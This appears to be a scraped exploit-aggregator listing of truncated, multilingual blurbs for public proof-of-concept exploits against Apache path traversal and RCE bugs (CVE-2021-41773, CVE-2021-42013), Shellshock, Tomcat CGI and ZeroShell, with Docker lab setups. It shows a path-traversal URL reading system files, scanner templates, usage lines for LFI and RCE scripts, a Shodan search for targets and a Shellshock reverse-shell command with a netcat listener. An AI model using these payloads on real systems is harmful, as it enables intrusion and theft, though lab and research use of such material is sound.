CVE-2021-41773

CVE-2021-41773 exploit PoC com configuração Docker. Acesse o diretório que contém a configuração do Apache e o Dockerfile compartilhado no repositório. Construir a imagem: docker build -t cve-2021-41773:1.0 . Executar a imagem Docker: docker run --rm -d -p 4444:80 cve-2021-41773:1.0 Nota: Você...

CVE-2021-41773

CVE-2021-41773 PoC e Laboratório para CVE-2021-41773 Configurar Laboratório root@kitploit: $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC root@kitploit: RCE curl...

Cgi-bin_bash_Reverse

Cgi-binbashReverse POC para CVE-2014-6271 Fonte:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

cve-2021-42013

Apache 2.4.50 - Path Traversal ou Execução Remota de Código CVE-2021-42013.py é um script em Python que ajuda a encontrar vulnerabilidades de Path Traversal ou Execução Remota de Código no Apache 2.4.50. Uma instância vulnerável do Docker é fornecida para colocar a mão na massa com o CVE-2021-420...

CVE-2021-41773

CVE-2021-41773 Desenvolvi um POC do CVE-2021-41773, RCE + path traversal do cgi-bin NOTA : TESTADO NO APACHE2 2.4.49 Você pode baixar o Apache2 2.4.49 vulnerável diretamente do Docker root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80...

CVE-2014-6271

CVE-2014-6271 python2.7 अपनी मशीन पर लिसनिंग शुरू करें। root@kitploit: nc -l -p 4444 नीचे दिए गए नियम के अनुसार पायथन स्क्रिप्ट चलाएँ: python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 आनंद लें।...

cve-2021-41773

Apache 2.4.49 - पथ ट्रैवर्सल या रिमोट कोड निष्पादन cve-2021-41773.py एक पायथन स्क्रिप्ट है जो Apache 2.4.49 में पथ ट्रैवर्सल या रिमोट कोड निष्पादन भेद्यता खोजने में मदद करेगी। CVE-2021-41773 पर हाथ आजमाने के लिए Docker का एक संवेदनशील उदाहरण प्रदान किया गया है। यदि CGI-BIN सक्षम है तो हम रिमोट को...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Apache HTTP सर्वर में पाथ ट्रैवर्सल ज़ीरो-डे का शोषण वाइल्ड में Apache HTTP सर्वर CVE-2021-41773 का शोषण CVE-2021-42013: Apache HTTP सर्वर 2.4.49 और 2.4.50 में पाथ ट्रैवर्सल और रिमोट कोड एक्ज़ीक्यूशन CVE-2021-41773 का अपूर्ण फिक्स Shodan वन-लाइनर root@kitploit: shod...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts root@kitploit: id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 और cve-2021-42013 cve-2021-41773 और cve-2021-42013 बैच सत्यापन पायथन स्क्रिप्ट चलाने का वातावरण: python3 उपयोग: python3 poc.py url.txt url.txt में जाँचने योग्य url रखें, जिनमें कमजोरी है वे success.txt में लिखे जाएँगे सत्यापन सामग्री बहुत सरल है, get अनुरोध...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE Um script python3 para o CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE. O RCE requer que o cgi-bin esteja ativado. Começando Executando o programa LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit: pytho...

cve-2021-42013.get

Apache 2.4.50 - Path Traversal ou Execução Remota de Código cve-2021-42013.py é um script Python que ajuda a encontrar vulnerabilidades de Path Traversal ou Execução Remota de Código no Apache 2.4.50. Uma instância vulnerável do Docker é fornecida para você colocar a mão na massa no CVE-2021-4201...

cve-2021-42013

Apache 2.4.50 - पाथ ट्रैवर्सल या रिमोट कोड एक्ज़ीक्यूशन cve-2021-42013.py एक पायथन स्क्रिप्ट है जो Apache 2.4.50 में पाथ ट्रैवर्सल या रिमोट कोड एक्ज़ीक्यूशन भेद्यता का पता लगाने में मदद करेगी। CVE-2021-42013 पर हाथ आज़माने के लिए Docker का एक असुरक्षित इंस्टेंस प्रदान किया गया है। यदि CGI-BIN सक्...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Execução remota de código no Apache Tomcat no Windows - cgi-bin Uso: root@kitploit: Usage: python CVE-2019-0232.py url cmd Ambiente de Teste: root@kitploit: jdk8 apache-tomcat-8.5.39...

cve-2021-42013

Apache 2.4.50 - पथ ट्रैवर्सल या रिमोट कोड निष्पादन CVE-2021-42013.py एक पायथन स्क्रिप्ट है जो Apache 2.4.50 में पथ ट्रैवर्सल या रिमोट कोड निष्पादन कमजोरी खोजने में मदद करेगी। CVE-2021-42013 पर हाथ आजमाने के लिए Docker का कमजोर उदाहरण प्रदान किया गया है। यदि CGI-BIN सक्षम है तो हम रिमोट कोड निष्पा...

ZeroShell <= 1.0beta11 Remote Code Execution

ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. id: CVE-2009-0545 info: name: ZeroShell = 1.0beta11 Remote Code Execution author: geeknik severity: critica...

cve-2021-42013

أباتشي 2.4.50 - تجاوز المسار أو تنفيذ الأوامر عن بُعد نص بايثون CVE-2021-42013.py يساعد في اكتشاف ثغرة تجاوز المسار أو تنفيذ الأوامر عن بُعد في أباتشي 2.4.50. تم توفير نسخة ضعيفة من Docker لاختبار ثغرة CVE-2021-42013 إذا كان CGI-BIN مفعّلاً، يمكننا تنفيذ الأوامر عن بُعد لكن ليس تجاوز المسار، لذلك...

CVE-2021-41773

CVE-2021-41773 Уязвимый сервис Установка Несколько вариантов: 1. Docker-контейнер root@kitploit: docker run -d -p 8080:80 12345qwert123456/apache2449cve-2021-41773 2. Dockerfile root@kitploit: git clone https://github.com/12345qwert123456/CVE-2021-41773.git cd...

cgi-bin-shellshock

Como usar Clone o repositório ou apenas copie e cole o que preferir root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh Execute o script Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp Nota: o LPORT padrão é 4444, URL...

exploitApache

exploitApache CVE-2021-41773 के लिए एक्सप्लॉइट:Path Traversal cgi-bin...